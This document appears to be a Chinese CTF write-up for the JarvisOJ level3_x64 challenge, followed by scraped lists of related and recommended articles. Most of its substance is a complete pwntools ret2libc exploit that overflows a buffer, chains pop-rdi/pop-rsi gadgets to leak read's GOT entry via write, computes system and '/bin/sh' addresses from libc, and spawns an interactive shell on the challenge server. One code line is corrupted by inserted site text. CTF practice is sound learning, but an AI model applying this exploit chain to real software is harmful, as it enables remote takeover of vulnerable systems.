这一题是和前面x86的差不多,都是利用了同一个知识点,唯一的区别就是使用的堆栈地址不同,x86是直接使用堆栈来传递参数的,而x64不同

x64的函数调用时整数和指针参数按照从左到右的顺序依次保存在寄存器rdi,rsi,rdx,rcx,r8和r9中

所以要找到rop然后来讲rdi和rsi和rdx赋值,这里前面两个比较容易找到,第三参数无论如何都没有能够找到,但是前面rdx的值为0x100所以不影响这个题目的解题

知识点和上一题的差不多,利用一下是很简单的。

exp就是这么简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
#p = process('./level3_x64')
p = remote('pwn2.jarvisoj.com',9883)
rop_edi = 0x04006b3 # 1 pop rdi; ret;
rop_esi = 0x04006b1 # got_read pop rsi; pop r15; ret;
plt_write = 0x04004B0
got_re 大专栏  JarvisOJ level3_x64ad = 0x0600A60
addr_func = 0x04005E6
shellcode = 'A'*0x80+'bbbbbbbb'
shellcode += p64(rop_edi)+p64(1) #mov edi, 1
shellcode += p64(rop_esi)+p64(got_read)+p64(0) #mov esi, got_read
shellcode += p64(plt_write)+p64(addr_func) # write and return to function
p.recvuntil('Input:n')
p.sendline(shellcode)
tmp = p.recv(8)
print tmp
p.recvuntil('Input:n')
addr_read = u64(tmp[0:8])
print 'read_got =',hex(addr_read)
libc = ELF('./libc-2.19.so')
libc_binsh = 0x17c8c3
addr_system = libc.symbols['system']- libc.symbols['read'] + addr_read
addr_binsh = libc_binsh - libc.symbols['read'] + addr_read
addr_exit = libc.symbols['exit'] - libc.symbols['read'] + addr_read
payload = 'A'*0x80+'bbbbbbbb'
payload += p64(rop_edi)+p64(addr_binsh) # mov edi, addr_binsh
payload += p64(addr_system)+p64(addr_exit) # do system and exit
p.sendline(payload)
p.interactive()

JarvisOJ level3_x64的更多相关文章

  1. jarvisoj level5爬坑

    本着纸上得来终觉浅,绝知此事要躬行的原则,把一个简单的ROP做了一下.漏洞很明显,libc有给出:唯一的限制就是不允许调用system或execve,而是用mprotect或者mmap 脚本调了半天, ...

  2. JarvisOJ平台Web题部分writeup

    PORT51 题目链接:http://web.jarvisoj.com:32770/ 这道题本来以为是访问服务器的51号端口,但是想想又不太对,应该是本地的51号端口访问服务器 想着用linux下的c ...

  3. CTF Jarvisoj Web(session.upload_progress.name php 上传进度)

    Jarvisoj Web 题目地址:http://web.jarvisoj.com:32784/index.php <?php //A webshell is wait for you ini_ ...

  4. jarvisoj fm

    使用指令 checksec 查看保护情况 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PI ...

  5. jarvisoj flag在管理员手上

    jarvisoj flag在管理员手上 涉及知识点: (1)代码审计和cookie注入 (2)哈希长度拓展攻击 解析: 进入题目的界面.看到 那么就是想方设法的变成admin了.挂上御剑开始审计.发现 ...

  6. jarvisoj babyphp

    jarvisoj babyphp 涉及知识点: (1)GitHack处理.git源码泄露 (2)php代码注入 解析: 进入题目界面. 看到题目中的用了git那么第一反应肯定是可能存在.git源码泄露 ...

  7. JarvisOJ Basic Help!!

    出题人硬盘上找到一个神秘的压缩包,里面有个word文档,可是好像加密了呢~让我们一起分析一下吧! 首先用7zip解压缩,发现是一个word文件,说什么flag被藏起来了 觉得是不是应该有什么附加的信息 ...

  8. JarvisOJ Misc webshell分析

    分析压缩包中的数据包文件并获取flag.flag为32位大写md5. 神仙们还是强啊,webshell主要看http流,再过滤只剩下post请求 可以使用 http.request.method == ...

  9. JarvisOJ Misc shell流量分析

    分析一下shell流量,得到flag 看着一大推的数据记录头都大了,并没有什么wireshark的使用经验,开始胡搞 首先用notepad++打开,搜索flag字样找到了一个类似于python脚本的东 ...

随机推荐

  1. MySQL各种存储引擎对比总结

    1.MyISAM 是MySQL5.5版之前默认的存储引擎,特点:数据文件和索引文件可以放置在不同的目录,平局分布IO,获得更快的速度.不支持事务,不支持外键. 2.InnoDB 是 MySQL5.5版 ...

  2. javaweb03 javaservlet基础一

    1.使用JavaEE版的eclipse开发动态的WEB工程(JavaWEB 项目)1).把开发选项切换到JavaEE2).可以在window -> Show View 中找到Package Ex ...

  3. JZOJ-TG817-A-solution

    T1 考虑是否有一种排序方法使得最优解都相邻,这种排序方法就是按照过一个点x的斜率为(P/Q)的直线的截距 排序之后考虑临项即可,O(N) T2 exit

  4. svg用例

    圆<circle cx="x" cy="y" r="r" style="stroke:black;fill:none&quo ...

  5. python 爬虫 多线程 多进程

    一.程序.进程和线程的理解  程序:就相当于一个应用(app),例如电脑上打开的一个程序. 进程:程序运行资源(内存资源)分配的最小单位,一个程序可以有多个进程. 线程:cpu最小的调度单位,必须依赖 ...

  6. 复杂分布式架构下的计算治理之路:计算中间件 Linkis

    前言 在当前的复杂分布式架构环境下,服务治理已经大行其道.但目光往下一层,从上层 APP.Service,到底层计算引擎这一层面,却还是各个引擎各自为政,Client-Server 模式紧耦合满天飞的 ...

  7. [AC自动机]玄武密码

    题目描述 一个长度为\(N\)的母串,有四个元素分别是:N,S,W,N. 有M个长度为100的模式串. 现在要求每个模式串的前缀与母串匹配最长长度. 输入样例 7 3 SNNSSNS NNSS NNN ...

  8. pandas 学习笔记【持续更新】

    import numpy as np import pandas as pd import matplotlib.pyplot as plt df1 = pd.DataFrame(np.arange( ...

  9. 分组统计SQL(mysql)

    <select id="orderProductStatistics" resultMap="ProductStatisticsVOMap"> SE ...

  10. Java注解基础

    0.背景 Java注解--Annotation产生于JDK5.作为code的特殊“标记”,注解可以在编译.类加载.运行时被读取,并执行处理. 开发利用注解在源码中嵌入补充信息,工具(代码分析.开发.部 ...